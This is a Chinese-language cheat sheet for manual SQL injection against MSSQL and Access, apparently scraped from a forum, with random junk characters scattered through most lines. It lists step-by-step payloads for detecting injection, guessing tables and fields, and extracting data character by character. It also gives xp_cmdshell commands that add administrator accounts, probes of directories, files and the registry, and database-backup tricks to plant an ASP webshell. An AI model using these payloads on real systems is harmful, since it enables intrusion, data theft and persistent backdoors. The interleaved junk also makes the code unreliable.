手工脚本注入 4 l- t& S! O0 c6 v; C! c: F
1.判断是否有注入;and 1=1 ;and 1=2 ' |4 [. S |2 ]* g: }
7 G) D/ i7 Q, ~+ B: b2.初步判断是否是mssql ;and user>0
( e! N8 o6 Q3 n5 a. T& \8 T2 K$ c+ Z6 h5 z# V
3.注入参数是字符'and [查询条件] and ''='
+ y( _3 j. H3 D x7 V
2 t- r5 A0 z% o3 V! ] _$ Z* C& T4.搜索时没过滤参数的'and [查询条件] and '%25'=' - h. {( d4 c, ?0 g' D1 i9 g
1 P' I8 P- v, @8 M5.判断数据库系统 0 A8 P+ c3 {$ C
;and (select count(*) from sysobjects)>0 mssql
; Y' n! j- O) [1 `1 S# a;and (select count(*) from msysobjects)>0 access
2 I; H2 w; u- Y- S) p
3 B+ Y: U, J B3 W" F4 ?( d6.猜数据库 ;and (select Count(*) from [数据库名])>0
* L1 a. o# s2 C( D! k- u: W" {) m) A9 h; v( G4 }' V% }" T0 i5 C# f
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 , r9 F' I! |0 W* `+ l/ W) L9 z
6 S6 }, d- N2 B( ]3 J& P
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ' L$ o# n1 |5 o3 t, b
: Z6 Z# K2 A0 T* ~+ T( j
9.(1)猜字段的ascii值(access)
6 F/ A/ k5 G6 }, H9 ?6 ~;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
! r9 ^/ G+ W- f/ p7 T+ e
: L; e3 F! M/ M(2)猜字段的ascii值(mssql) # y5 v* A- W+ Z3 q2 _
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 3 b1 g9 Q* C- y E1 w, b b- Q; ]
8 V" M4 | G) E3 U- S
10.测试权限结构(mssql)
" N8 g) S! s5 r$ F7 J: f6 J;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- % L ]$ C+ R( K3 F* u9 c) d, d3 l
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- # J. K& Z% K1 X6 C% V" ]( d' j
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ! m! P( ]2 y' a" R/ W: O' v
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 1 _0 b$ Z/ Y5 P7 p( j) S
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ' d7 w" N. K7 ^5 F
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
) c6 p! S, ?, T9 Y) N4 Z' A' P" {;and 1=(select IS_MEMBER('db_owner'));--
3 y1 d5 o4 {! ?6 E" X( q" X+ R/ _3 H
11.添加mssql和系统的帐户
% ?; M) u# N; a3 e4 Q+ { u/ q" G;exec master.dbo.sp_addlogin username;--
Y6 U' _" f" z( z* }; o" G; n5 G
7 Y; B0 T2 Y/ D9 ]; b( j- r;exec master.dbo.sp_password null,username,password;-- 0 p3 J7 D/ r |/ w( i; j
* e( W4 f, v0 h. Z/ ~3 \
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0 p4 u/ u2 f+ g2 M8 V
$ V3 Y; e: h+ m5 t9 _;exec master.dbo.xp_cmdshell 'net user username password
( G4 d1 y3 Q% @9 ^7 h9 I/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- + I/ w& W6 v. \6 F3 ^ j5 r
: S/ R2 _- M. q* ?; V4 N! z;exec master.dbo.xp_cmdshell 'net user username password /add';--
% w; Z/ b9 Z! D# ~' h t/ ?
2 a1 n( ]% c" N! s' W;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
6 |" m D0 @3 C" v# I0 M( z' R8 T8 Y; c0 c
12.(1)遍历目录
1 K4 v3 M3 H0 }" L: x
: A- Z% K) U, E/ q" J6 d1 }5 q;create table dirs(paths varchar(100), id int) 9 r" O2 B, L0 l9 _
;insert dirs exec master.dbo.xp_dirtree 'c:\' ( B" H$ G! i' U& }: Y3 s
;and (select top 1 paths from dirs)>0 * T2 |4 c: E0 @* Q4 m9 Z
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) " Z& {' g W. R
) N, W5 [* r6 L7 V! b
(2)遍历目录 * L% v2 R9 R7 z* ?6 v7 I- m
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- / {. ]$ V0 w& }3 U$ W& O2 G3 w+ N( }! n
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
4 j; @1 B0 r, R;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
6 l" C. }) A" C! L2 e. W- L;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 b% W7 V! w6 _1 W( N6 y' i: H
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 7 f" d, |5 Q5 z6 C
! G9 A) B% Y6 B& w: M2 ?13.mssql中的存储过程
8 z; b& ?! U/ Q3 J& q9 Q6 k
: N" l! k/ ^% ~3 l: S8 }xp_regenumvalues 注册表根键, 子键 ' o0 o; h7 V, S+ _$ W; `) L
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
! k8 Q4 ~( R+ K6 E. m _9 ~% R B" U! |2 r7 t: Y
xp_regread 根键,子键,键值名 5 ]$ s; R: D) D# B+ A
;exec xp_regread
/ j/ {. U2 Q1 v4 _( _'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
" q( Y4 I( w/ s8 C# g( c
+ E8 x( I2 d7 [4 n& f' e7 dxp_regwrite 根键,子键, 值名, 值类型, 值 4 j% k3 m$ |6 R4 H5 q
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
$ f9 j, `! w7 Z8 _0 U5 C( o8 O! s* \6 S;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
S$ L+ T. w/ k% D2 Q6 N; g# c$ Z0 p+ j; Q5 T/ U
xp_regdeletevalue 根键,子键,值名 3 c8 V2 X! s+ O) S. r
3 y) h! |- g1 [
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 - d: L9 K- Y8 N
) V7 C+ H/ ^* a9 e% x5 j2 T' axp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
" h4 V7 t* x/ c# U! |9 P5 F/ P% r6 \& y/ ~' A T
14.mssql的backup创建webshell 3 u( o% k3 e. C! F0 V! M2 W
use model
: J4 L7 s) \+ s7 v6 G5 w6 qcreate table cmd(str image);
- ^, m! y+ e: C y5 Qinsert into cmd(str) values ('');
* V, D+ g9 ?! l. z3 ~backup database model to disk='c:\l.asp'; , f1 o& p$ a) A& {5 f8 V* ~
. u" X: b3 J, n3 C( Q0 k- ?6 n15.mssql内置函数 & _1 r8 y! i8 V# P4 V! v
;and (select @@version)>0 获得Windows的版本号 . D; r0 |7 ~" C* ]7 f
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
. C% x( g# u, U+ h$ G2 m' ~;and (select user_name())>0 爆当前系统的连接用户 9 J1 B: Q e X2 ^
;and (select db_name())>0 得到当前连接的数据库
: h" V) @& l4 W) M" z6 e. }4 E1 Q: o1 m9 H! L8 k; f% a8 ^& K. d
16.简洁的webshell
' d8 |: w* A% Z% l
, Z5 v: t' b, q6 q5 [use model ) J7 i) A1 _3 X+ ]8 }
# m, ?, k5 f9 r( ocreate table cmd(str image);
% j( Q$ |9 N N- S, x* \/ ?5 _( y0 p" i. Z
insert into cmd(str) values ('');
. d2 k( K: R" m z% F" L: R8 T# T) R8 f
backup database model to disk='g:\wwwtest\l.asp';
" s) M: x1 J. V, t! E5 @ ' I; H) W m. \; v6 c9 H! v
|